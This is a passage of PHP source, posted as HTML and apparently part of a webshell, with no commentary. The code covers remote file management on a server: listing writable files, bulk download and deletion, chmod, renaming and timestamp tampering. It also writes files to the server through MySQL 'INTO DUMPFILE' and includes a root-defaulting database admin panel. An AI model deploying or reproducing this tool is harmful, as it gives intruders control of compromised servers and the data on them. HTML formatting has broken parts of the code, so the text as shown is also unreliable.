<P>&nbsp;// 打包下载<BR />&nbsp;elseif($doing == 'downrar') {<BR />&nbsp;&nbsp;if ($dl) {<BR />&nbsp;&nbsp;&nbsp;$dfiles='';<BR />&nbsp;&nbsp;&nbsp;foreach ($dl as $filepath =&gt; $value) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;$dfiles.=$filepath.',';<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;$dfiles=substr($dfiles,0,strlen($dfiles)-1);<BR />&nbsp;&nbsp;&nbsp;$dl=explode(',',$dfiles);<BR />&nbsp;&nbsp;&nbsp;$zip=new PHPZip($dl);<BR />&nbsp;&nbsp;&nbsp;$code=$zip-&gt;out;<BR />&nbsp;&nbsp;&nbsp;header('Content-type: application/octet-stream');<BR />&nbsp;&nbsp;&nbsp;header('Accept-Ranges: bytes');<BR />&nbsp;&nbsp;&nbsp;header('Accept-Length: '.strlen($code));<BR />&nbsp;&nbsp;&nbsp;header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');<BR />&nbsp;&nbsp;&nbsp;echo $code;<BR />&nbsp;&nbsp;&nbsp;exit;<BR />&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;m('Please select file(s)');<BR />&nbsp;&nbsp;}<BR />&nbsp;}</P>
<P>&nbsp;// 批量删除文件<BR />&nbsp;elseif($doing == 'delfiles') {<BR />&nbsp;&nbsp;if ($dl) {<BR />&nbsp;&nbsp;&nbsp;$dfiles='';<BR />&nbsp;&nbsp;&nbsp;$succ = $fail = 0;<BR />&nbsp;&nbsp;&nbsp;foreach ($dl as $filepath =&gt; $value) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;if (@unlink($filepath)) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$succ++;<BR />&nbsp;&nbsp;&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$fail++;<BR />&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);<BR />&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;m('Please select file(s)');<BR />&nbsp;&nbsp;}<BR />&nbsp;}</P>
<P>&nbsp;//操作完毕<BR />&nbsp;formhead(array('name'=&gt;'createdir'));<BR />&nbsp;makehide('newdirname');<BR />&nbsp;makehide('dir',$nowpath);<BR />&nbsp;formfoot();<BR />&nbsp;formhead(array('name'=&gt;'fileperm'));<BR />&nbsp;makehide('newperm');<BR />&nbsp;makehide('pfile');<BR />&nbsp;makehide('dir',$nowpath);<BR />&nbsp;formfoot();<BR />&nbsp;formhead(array('name'=&gt;'copyfile'));<BR />&nbsp;makehide('sname');<BR />&nbsp;makehide('tofile');<BR />&nbsp;makehide('dir',$nowpath);<BR />&nbsp;formfoot();<BR />&nbsp;formhead(array('name'=&gt;'rename'));<BR />&nbsp;makehide('oldname');<BR />&nbsp;makehide('newfilename');<BR />&nbsp;makehide('dir',$nowpath);<BR />&nbsp;formfoot();<BR />&nbsp;formhead(array('name'=&gt;'fileopform'));<BR />&nbsp;makehide('action');<BR />&nbsp;makehide('opfile');<BR />&nbsp;makehide('dir');<BR />&nbsp;formfoot();<BR />&nbsp;formhead(array('name'=&gt;'getsize'));<BR />&nbsp;makehide('getdir');<BR />&nbsp;makehide('dir');<BR />&nbsp;formfoot();</P>
<P>&nbsp;$free = @disk_free_space($nowpath);<BR />&nbsp;!$free &amp;&amp; $free = 0;<BR />&nbsp;$all = @disk_total_space($nowpath);<BR />&nbsp;!$all &amp;&amp; $all = 0;<BR />&nbsp;$used = $all-$free;<BR />&nbsp;$used_percent = @round(100/($all/$free),2);<BR />&nbsp;p('&lt;h2&gt;File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)&lt;/h2&gt;');</P>
<P>?&gt;<BR />&lt;table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;"&gt;<BR />&nbsp; &lt;form action="" method="post" id="godir" name="godir"&gt;<BR />&nbsp; &lt;tr&gt;<BR />&nbsp;&nbsp;&nbsp; &lt;td nowrap&gt;Current Directory (&lt;?php echo $dir_writeable;?&gt;, &lt;?php echo getChmod($nowpath);?&gt;)&lt;/td&gt;<BR />&nbsp;&lt;td width="100%"&gt;&lt;input name="view_writable" value="0" type="hidden" /&gt;&lt;input class="input" name="dir" value="&lt;?php echo $nowpath;?&gt;" type="text" style="width:100%;margin:0 8px;"&gt;&lt;/td&gt;<BR />&nbsp;&nbsp;&nbsp; &lt;td nowrap&gt;&lt;input class="bt" value="GO" type="submit"&gt;&lt;/td&gt;<BR />&nbsp; &lt;/tr&gt;<BR />&nbsp; &lt;/form&gt;<BR />&lt;/table&gt;<BR />&lt;script type="text/javascript"&gt;<BR />function createdir(){<BR />&nbsp;var newdirname;<BR />&nbsp;newdirname = prompt('Please input the directory name:', '');<BR />&nbsp;if (!newdirname) return;<BR />&nbsp;$('createdir').newdirname.value=newdirname;<BR />&nbsp;$('createdir').submit();<BR />}<BR />function fileperm(pfile){<BR />&nbsp;var newperm;<BR />&nbsp;newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');<BR />&nbsp;if (!newperm) return;<BR />&nbsp;$('fileperm').newperm.value=newperm;<BR />&nbsp;$('fileperm').pfile.value=pfile;<BR />&nbsp;$('fileperm').submit();<BR />}<BR />function copyfile(sname){<BR />&nbsp;var tofile;<BR />&nbsp;tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');<BR />&nbsp;if (!tofile) return;<BR />&nbsp;$('copyfile').tofile.value=tofile;<BR />&nbsp;$('copyfile').sname.value=sname;<BR />&nbsp;$('copyfile').submit();<BR />}<BR />function rename(oldname){<BR />&nbsp;var newfilename;<BR />&nbsp;newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');<BR />&nbsp;if (!newfilename) return;<BR />&nbsp;$('rename').newfilename.value=newfilename;<BR />&nbsp;$('rename').oldname.value=oldname;<BR />&nbsp;$('rename').submit();<BR />}<BR />function dofile(doing,thefile,m){<BR />&nbsp;if (m &amp;&amp; !confirm(m)) {<BR />&nbsp;&nbsp;return;<BR />&nbsp;}<BR />&nbsp;$('filelist').doing.value=doing;<BR />&nbsp;if (thefile){<BR />&nbsp;&nbsp;$('filelist').thefile.value=thefile;<BR />&nbsp;}<BR />&nbsp;$('filelist').submit();<BR />}<BR />function createfile(nowpath){<BR />&nbsp;var filename;<BR />&nbsp;filename = prompt('Please input the file name:', '');<BR />&nbsp;if (!filename) return;<BR />&nbsp;opfile('editfile',nowpath + filename,nowpath);<BR />}<BR />function opfile(action,opfile,dir){<BR />&nbsp;$('fileopform').action.value=action;<BR />&nbsp;$('fileopform').opfile.value=opfile;<BR />&nbsp;$('fileopform').dir.value=dir;<BR />&nbsp;$('fileopform').submit();<BR />}<BR />function godir(dir,view_writable){<BR />&nbsp;if (view_writable) {<BR />&nbsp;&nbsp;$('godir').view_writable.value=1;<BR />&nbsp;}<BR />&nbsp;$('godir').dir.value=dir;<BR />&nbsp;$('godir').submit();<BR />}<BR />function getsize(getdir,dir){<BR />&nbsp;$('getsize').getdir.value=getdir;<BR />&nbsp;$('getsize').dir.value=dir;<BR />&nbsp;$('getsize').submit();<BR />}<BR />&lt;/script&gt;<BR />&nbsp; &lt;?php<BR />&nbsp;tbhead();<BR />&nbsp;p('&lt;form action="'.$self.'" method="POST" enctype="multipart/form-data"&gt;&lt;tr class="alt1"&gt;&lt;td colspan="7" style="padding:5px;"&gt;');<BR />&nbsp;p('&lt;div style="float:right;"&gt;&lt;input class="input" name="uploadfile" value="" type="file" /&gt; &lt;input class="bt" name="doupfile" value="Upload" type="submit" /&gt;&lt;input name="uploaddir" value="'.$dir.'" type="hidden" /&gt;&lt;input name="dir" value="'.$dir.'" type="hidden" /&gt;&lt;/div&gt;');<BR />&nbsp;p('&lt;a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');"&gt;WebRoot&lt;/a&gt;');<BR />&nbsp;if ($view_writable) {<BR />&nbsp;&nbsp;p(' | &lt;a href="javascript:godir(\''.$nowpath.'\');"&gt;View All&lt;/a&gt;');<BR />&nbsp;} else {<BR />&nbsp;&nbsp;p(' | &lt;a href="javascript:godir(\''.$nowpath.'\',\'1\');"&gt;View Writable&lt;/a&gt;');<BR />&nbsp;}<BR />&nbsp;p(' | &lt;a href="javascript:createdir();"&gt;Create Directory&lt;/a&gt; | &lt;a href="javascript:createfile(\''.$nowpath.'\');"&gt;Create File&lt;/a&gt;');<BR />&nbsp;if (IS_WIN &amp;&amp; IS_COM) {<BR />&nbsp;&nbsp;$obj = new COM('scripting.filesystemobject');<BR />&nbsp;&nbsp;if ($obj &amp;&amp; is_object($obj)) {<BR />&nbsp;&nbsp;&nbsp;$DriveTypeDB = array(0 =&gt; 'Unknow',1 =&gt; 'Removable',2 =&gt; 'Fixed',3 =&gt; 'Network',4 =&gt; 'CDRom',5 =&gt; 'RAM Disk');<BR />&nbsp;&nbsp;&nbsp;foreach($obj-&gt;Drives as $drive) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;if ($drive-&gt;DriveType == 2) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p(' | &lt;a href="javascript:godir(\''.$drive-&gt;Path.'/\');" title="Size:'.sizecount($drive-&gt;TotalSize).'&amp;#13;Free:'.sizecount($drive-&gt;FreeSpace).'&amp;#13;Type:'.$DriveTypeDB[$drive-&gt;DriveType].'"&gt;'.$DriveTypeDB[$drive-&gt;DriveType].'('.$drive-&gt;Path.')&lt;/a&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p(' | &lt;a href="javascript:godir(\''.$drive-&gt;Path.'/\');" title="Type:'.$DriveTypeDB[$drive-&gt;DriveType].'"&gt;'.$DriveTypeDB[$drive-&gt;DriveType].'('.$drive-&gt;Path.')&lt;/a&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;}<BR />&nbsp;}</P>
<P>&nbsp;p('&lt;/td&gt;&lt;/tr&gt;&lt;/form&gt;');</P>
<P>&nbsp;p('&lt;tr class="head"&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;Filename&lt;/td&gt;&lt;td width="16%"&gt;Last modified&lt;/td&gt;&lt;td width="10%"&gt;Size&lt;/td&gt;&lt;td width="20%"&gt;Chmod / Perms&lt;/td&gt;&lt;td width="22%"&gt;Action&lt;/td&gt;&lt;/tr&gt;');</P>
<P>&nbsp;//查看所有可写文件和目录<BR />&nbsp;$dirdata=array();<BR />&nbsp;$filedata=array();</P>
<P>&nbsp;if ($view_writable) {<BR />&nbsp;&nbsp;$dirdata = GetList($nowpath);<BR />&nbsp;} else {<BR />&nbsp;&nbsp;// 目录列表<BR />&nbsp;&nbsp;<A href="mailto:$dirs=@opendir($dir">$dirs=@opendir($dir</A>);<BR />&nbsp;&nbsp;while (<A href="mailto:$file=@readdir($dirs">$file=@readdir($dirs</A>)) {<BR />&nbsp;&nbsp;&nbsp;$filepath=$nowpath.$file;<BR />&nbsp;&nbsp;&nbsp;if(@is_dir($filepath)){<BR />&nbsp;&nbsp;&nbsp;&nbsp;$dirdb['filename']=$file;<BR />&nbsp;&nbsp;&nbsp;&nbsp;$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));<BR />&nbsp;&nbsp;&nbsp;&nbsp;$dirdb['dirchmod']=getChmod($filepath);<BR />&nbsp;&nbsp;&nbsp;&nbsp;$dirdb['dirperm']=getPerms($filepath);<BR />&nbsp;&nbsp;&nbsp;&nbsp;$dirdb['fileowner']=getUser($filepath);<BR />&nbsp;&nbsp;&nbsp;&nbsp;$dirdb['dirlink']=$nowpath;<BR />&nbsp;&nbsp;&nbsp;&nbsp;$dirdb['server_link']=$filepath;<BR />&nbsp;&nbsp;&nbsp;&nbsp;$dirdb['client_link']=ue($filepath);<BR />&nbsp;&nbsp;&nbsp;&nbsp;$dirdata[]=$dirdb;<BR />&nbsp;&nbsp;&nbsp;} else {&nbsp;&nbsp;<BR />&nbsp;&nbsp;&nbsp;&nbsp;$filedb['filename']=$file;<BR />&nbsp;&nbsp;&nbsp;&nbsp;$filedb['size']=sizecount(@filesize($filepath));<BR />&nbsp;&nbsp;&nbsp;&nbsp;$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));<BR />&nbsp;&nbsp;&nbsp;&nbsp;$filedb['filechmod']=getChmod($filepath);<BR />&nbsp;&nbsp;&nbsp;&nbsp;$filedb['fileperm']=getPerms($filepath);<BR />&nbsp;&nbsp;&nbsp;&nbsp;$filedb['fileowner']=getUser($filepath);<BR />&nbsp;&nbsp;&nbsp;&nbsp;$filedb['dirlink']=$nowpath;<BR />&nbsp;&nbsp;&nbsp;&nbsp;$filedb['server_link']=$filepath;<BR />&nbsp;&nbsp;&nbsp;&nbsp;$filedb['client_link']=ue($filepath);<BR />&nbsp;&nbsp;&nbsp;&nbsp;$filedata[]=$filedb;<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;}// while<BR />&nbsp;&nbsp;unset($dirdb);<BR />&nbsp;&nbsp;unset($filedb);<BR />&nbsp;&nbsp;@closedir($dirs);<BR />&nbsp;}<BR />&nbsp;@sort($dirdata);<BR />&nbsp;@sort($filedata);<BR />&nbsp;$dir_i = '0';</P>
<P>&nbsp;foreach($dirdata as $key =&gt; $dirdb){<BR />&nbsp;&nbsp;if($dirdb['filename']!='..' &amp;&amp; $dirdb['filename']!='.') {<BR />&nbsp;&nbsp;&nbsp;if($getdir &amp;&amp; $getdir == $dirdb['server_link']) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;$attachsize = dirsize($dirdb['server_link']);<BR />&nbsp;&nbsp;&nbsp;&nbsp;$attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown';<BR />&nbsp;&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;&nbsp;$attachsize = '&lt;a href="javascript:getsize(\''.$dirdb['server_link'].'\',\''.$dir.'\');"&gt;Stat&lt;/a&gt;';<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;$thisbg = bg();<BR />&nbsp;&nbsp;&nbsp;p('&lt;tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';"&gt;');<BR />&nbsp;&nbsp;&nbsp;p('&lt;td width="2%" nowrap&gt;&lt;font face="wingdings" size="3"&gt;0&lt;/font&gt;&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;p('&lt;td&gt;&lt;a href="javascript:godir(\''.$dirdb['server_link'].'\');"&gt;'.$dirdb['filename'].'&lt;/a&gt;&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;p('&lt;td nowrap&gt;'.$dirdb['mtime'].'&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;p('&lt;td nowrap&gt;'.$attachsize.'&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;p('&lt;td nowrap&gt;');<BR />&nbsp;&nbsp;&nbsp;p('&lt;a href="javascript:fileperm(\''.$dirdb['server_link'].'\');"&gt;'.$dirdb['dirchmod'].'&lt;/a&gt; / ');<BR />&nbsp;&nbsp;&nbsp;p('&lt;a href="javascript:fileperm(\''.$dirdb['server_link'].'\');"&gt;'.$dirdb['dirperm'].'&lt;/a&gt;'.$dirdb['fileowner'].'&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;p('&lt;td nowrap&gt;&lt;a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? <A href="file://n//nIf">\\n\\nIf</A> non-empty directory, will be delete all the files.\')"&gt;Del&lt;/a&gt; | &lt;a href="javascript:rename(\''.$dirdb['server_link'].'\');"&gt;Rename&lt;/a&gt;&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;p('&lt;/tr&gt;');<BR />&nbsp;&nbsp;&nbsp;$dir_i++;<BR />&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;if($dirdb['filename']=='..') {<BR />&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;tr class='.bg().'&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td align="center"&gt;&lt;font face="Wingdings 3" size=4&gt;=&lt;/font&gt;&lt;/td&gt;&lt;td nowrap colspan="5"&gt;&lt;a href="javascript:godir(\''.getUpPath($nowpath).'\');"&gt;Parent Directory&lt;/a&gt;&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;/tr&gt;');<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;}<BR />&nbsp;}</P>
<P>&nbsp;p('&lt;tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"&gt;&lt;td colspan="6" height="5"&gt;&lt;/td&gt;&lt;/tr&gt;');<BR />&nbsp;p('&lt;form id="filelist" name="filelist" action="'.$self.'" method="post"&gt;');<BR />&nbsp;makehide('action','file');<BR />&nbsp;makehide('thefile');<BR />&nbsp;makehide('doing');<BR />&nbsp;makehide('dir',$nowpath);<BR />&nbsp;$file_i = '0';<BR />&nbsp;foreach($filedata as $key =&gt; $filedb){<BR />&nbsp;&nbsp;if($filedb['filename']!='..' &amp;&amp; $filedb['filename']!='.') {<BR />&nbsp;&nbsp;&nbsp;$fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);<BR />&nbsp;&nbsp;&nbsp;$thisbg = bg();<BR />&nbsp;&nbsp;&nbsp;p('&lt;tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';"&gt;');<BR />&nbsp;&nbsp;&nbsp;p('&lt;td width="2%" nowrap&gt;&lt;input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"&gt;&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;p('&lt;td&gt;&lt;a href="'.$fileurl.'" target="_blank"&gt;'.$filedb['filename'].'&lt;/a&gt;&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;p('&lt;td nowrap&gt;'.$filedb['mtime'].'&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;p('&lt;td nowrap&gt;'.$filedb['size'].'&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;p('&lt;td nowrap&gt;');<BR />&nbsp;&nbsp;&nbsp;p('&lt;a href="javascript:fileperm(\''.$filedb['server_link'].'\');"&gt;'.$filedb['filechmod'].'&lt;/a&gt; / ');<BR />&nbsp;&nbsp;&nbsp;p('&lt;a href="javascript:fileperm(\''.$filedb['server_link'].'\');"&gt;'.$filedb['fileperm'].'&lt;/a&gt;'.$filedb['fileowner'].'&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;p('&lt;td nowrap&gt;');<BR />&nbsp;&nbsp;&nbsp;p('&lt;a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');"&gt;Down&lt;/a&gt; | ');<BR />&nbsp;&nbsp;&nbsp;p('&lt;a href="javascript:copyfile(\''.$filedb['server_link'].'\');"&gt;Copy&lt;/a&gt; | ');<BR />&nbsp;&nbsp;&nbsp;p('&lt;a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');"&gt;Edit&lt;/a&gt; | ');<BR />&nbsp;&nbsp;&nbsp;p('&lt;a href="javascript:rename(\''.$filedb['server_link'].'\');"&gt;Rename&lt;/a&gt; | ');<BR />&nbsp;&nbsp;&nbsp;p('&lt;a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');"&gt;Time&lt;/a&gt;');<BR />&nbsp;&nbsp;&nbsp;p('&lt;/td&gt;&lt;/tr&gt;');<BR />&nbsp;&nbsp;&nbsp;$file_i++;<BR />&nbsp;&nbsp;}<BR />&nbsp;}<BR />&nbsp;p('&lt;tr class="'.bg().'"&gt;&lt;td align="center"&gt;&lt;input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="javascript:dofile(\'downrar\');"&gt;Packing download selected&lt;/a&gt; - &lt;a href="javascript:dofile(\'delfiles\');"&gt;Delete selected&lt;/a&gt;&lt;/td&gt;&lt;td colspan="4" align="right"&gt;'.$dir_i.' directories / '.$file_i.' files&lt;/td&gt;&lt;/tr&gt;');<BR />&nbsp;p('&lt;/form&gt;&lt;/table&gt;');<BR />}// end dir</P>
<P>elseif ($action == 'sqlfile') {<BR />&nbsp;if($doing=="mysqlupload"){<BR />&nbsp;&nbsp;$file = $_FILES['uploadfile'];<BR />&nbsp;&nbsp;$filename = $file['tmp_name'];<BR />&nbsp;&nbsp;if (file_exists($savepath)) {<BR />&nbsp;&nbsp;&nbsp;m('The goal file has already existed');<BR />&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;if(!$filename) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;m('Please choose a file');<BR />&nbsp;&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;&nbsp;<A href="mailto:$fp=@fopen($filename,'r'">$fp=@fopen($filename,'r'</A>);<BR />&nbsp;&nbsp;&nbsp;&nbsp;<A href="mailto:$contents=@fread($fp">$contents=@fread($fp</A>, filesize($filename));<BR />&nbsp;&nbsp;&nbsp;&nbsp;@fclose($fp);<BR />&nbsp;&nbsp;&nbsp;&nbsp;$contents = bin2hex($contents);<BR />&nbsp;&nbsp;&nbsp;&nbsp;if(!$upname) $upname = $file['name'];<BR />&nbsp;&nbsp;&nbsp;&nbsp;dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);<BR />&nbsp;&nbsp;&nbsp;&nbsp;$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");<BR />&nbsp;&nbsp;&nbsp;&nbsp;m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;}<BR />&nbsp;}<BR />?&gt;<BR />&lt;script type="text/javascript"&gt;<BR />function mysqlfile(doing){<BR />&nbsp;if(!doing) return;<BR />&nbsp;$('doing').value=doing;<BR />&nbsp;$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;<BR />&nbsp;$('mysqlfile').dbport.value=$('dbinfo').dbport.value;<BR />&nbsp;$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;<BR />&nbsp;$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;<BR />&nbsp;$('mysqlfile').dbname.value=$('dbinfo').dbname.value;<BR />&nbsp;$('mysqlfile').charset.value=$('dbinfo').charset.value;<BR />&nbsp;$('mysqlfile').submit();<BR />}<BR />&lt;/script&gt;<BR />&lt;?php<BR />&nbsp;!$dbhost &amp;&amp; $dbhost = 'localhost';<BR />&nbsp;!$dbuser &amp;&amp; $dbuser = 'root';<BR />&nbsp;!$dbport &amp;&amp; $dbport = '3306';<BR />&nbsp;$charsets = array(''=&gt;'Default','gbk'=&gt;'GBK', 'big5'=&gt;'Big5', 'utf8'=&gt;'UTF-8', 'latin1'=&gt;'Latin1');<BR />&nbsp;formhead(array('title'=&gt;'MYSQL Information','name'=&gt;'dbinfo'));<BR />&nbsp;makehide('action','sqlfile');<BR />&nbsp;p('&lt;p&gt;');<BR />&nbsp;p('DBHost:');<BR />&nbsp;makeinput(array('name'=&gt;'dbhost','size'=&gt;20,'value'=&gt;$dbhost));<BR />&nbsp;p(':');<BR />&nbsp;makeinput(array('name'=&gt;'dbport','size'=&gt;4,'value'=&gt;$dbport));<BR />&nbsp;p('DBUser:');<BR />&nbsp;makeinput(array('name'=&gt;'dbuser','size'=&gt;15,'value'=&gt;$dbuser));<BR />&nbsp;p('DBPass:');<BR />&nbsp;makeinput(array('name'=&gt;'dbpass','size'=&gt;15,'value'=&gt;$dbpass));<BR />&nbsp;p('DBName:');<BR />&nbsp;makeinput(array('name'=&gt;'dbname','size'=&gt;15,'value'=&gt;$dbname));<BR />&nbsp;p('DBCharset:');<BR />&nbsp;makeselect(array('name'=&gt;'charset','option'=&gt;$charsets,'selected'=&gt;$charset));<BR />&nbsp;p('&lt;/p&gt;');<BR />&nbsp;formfoot();<BR />&nbsp;p('&lt;form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile"&gt;');<BR />&nbsp;p('&lt;h2&gt;Upload file&lt;/h2&gt;');<BR />&nbsp;p('&lt;p&gt;&lt;b&gt;This operation the DB user must has FILE privilege&lt;/b&gt;&lt;/p&gt;');<BR />&nbsp;p('&lt;p&gt;Save path(fullpath): &lt;input class="input" name="savepath" size="45" type="text" /&gt; Choose a file: &lt;input class="input" name="uploadfile" type="file" /&gt; &lt;a href="javascript:mysqlfile(\'mysqlupload\');"&gt;Upload&lt;/a&gt;&lt;/p&gt;');<BR />&nbsp;p('&lt;h2&gt;Download file&lt;/h2&gt;');<BR />&nbsp;p('&lt;p&gt;File: &lt;input class="input" name="mysqldlfile" size="115" type="text" /&gt; &lt;a href="javascript:mysqlfile(\'mysqldown\');"&gt;Download&lt;/a&gt;&lt;/p&gt;');<BR />&nbsp;makehide('dbhost');<BR />&nbsp;makehide('dbport');<BR />&nbsp;makehide('dbuser');<BR />&nbsp;makehide('dbpass');<BR />&nbsp;makehide('dbname');<BR />&nbsp;makehide('charset');<BR />&nbsp;makehide('doing');<BR />&nbsp;makehide('action','sqlfile');<BR />&nbsp;p('&lt;/form&gt;');<BR />}</P>
<P>elseif ($action == 'sqladmin') {<BR />&nbsp;!$dbhost &amp;&amp; $dbhost = 'localhost';<BR />&nbsp;!$dbuser &amp;&amp; $dbuser = 'root';<BR />&nbsp;!$dbport &amp;&amp; $dbport = '3306';<BR />&nbsp;$dbform = '&lt;input type="hidden" id="connect" name="connect" value="1" /&gt;';<BR />&nbsp;if(isset($dbhost)){<BR />&nbsp;&nbsp;$dbform .= "&lt;input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" /&gt;\n";<BR />&nbsp;}<BR />&nbsp;if(isset($dbuser)) {<BR />&nbsp;&nbsp;$dbform .= "&lt;input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" /&gt;\n";<BR />&nbsp;}<BR />&nbsp;if(isset($dbpass)) {<BR />&nbsp;&nbsp;$dbform .= "&lt;input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" /&gt;\n";<BR />&nbsp;}<BR />&nbsp;if(isset($dbport)) {<BR />&nbsp;&nbsp;$dbform .= "&lt;input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" /&gt;\n";<BR />&nbsp;}<BR />&nbsp;if(isset($dbname)) {<BR />&nbsp;&nbsp;$dbform .= "&lt;input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" /&gt;\n";<BR />&nbsp;}<BR />&nbsp;if(isset($charset)) {<BR />&nbsp;&nbsp;$dbform .= "&lt;input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" /&gt;\n";<BR />&nbsp;}</P>
<P>&nbsp;if ($doing == 'backupmysql' &amp;&amp; $saveasfile) {<BR />&nbsp;&nbsp;if (!$table) {<BR />&nbsp;&nbsp;&nbsp;m('Please choose the table');<BR />&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);<BR />&nbsp;&nbsp;&nbsp;$table = array_flip($table);<BR />&nbsp;&nbsp;&nbsp;$fp = @fopen($path,'w');<BR />&nbsp;&nbsp;&nbsp;if ($fp) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;$result = q('SHOW tables');<BR />&nbsp;&nbsp;&nbsp;&nbsp;if (!$result) p('&lt;h2&gt;'.mysql_error().'&lt;/h2&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;$mysqldata = '';<BR />&nbsp;&nbsp;&nbsp;&nbsp;while ($currow = mysql_fetch_array($result)) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (isset($table[$currow[0]])) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sqldumptable($currow[0], $fp);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;fclose($fp);<BR />&nbsp;&nbsp;&nbsp;&nbsp;$fileurl = str_replace(SA_ROOT,'',$path);<BR />&nbsp;&nbsp;&nbsp;&nbsp;m('Database has success backup to &lt;a href="'.$fileurl.'" target="_blank"&gt;'.$path.'&lt;/a&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;mysql_close();<BR />&nbsp;&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;&nbsp;m('Backup failed');<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;}<BR />&nbsp;}<BR />&nbsp;if ($insert &amp;&amp; $insertsql) {<BR />&nbsp;&nbsp;$keystr = $valstr = $tmp = '';<BR />&nbsp;&nbsp;foreach($insertsql as $key =&gt; $val) {<BR />&nbsp;&nbsp;&nbsp;if ($val) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;$keystr .= $tmp.$key;<BR 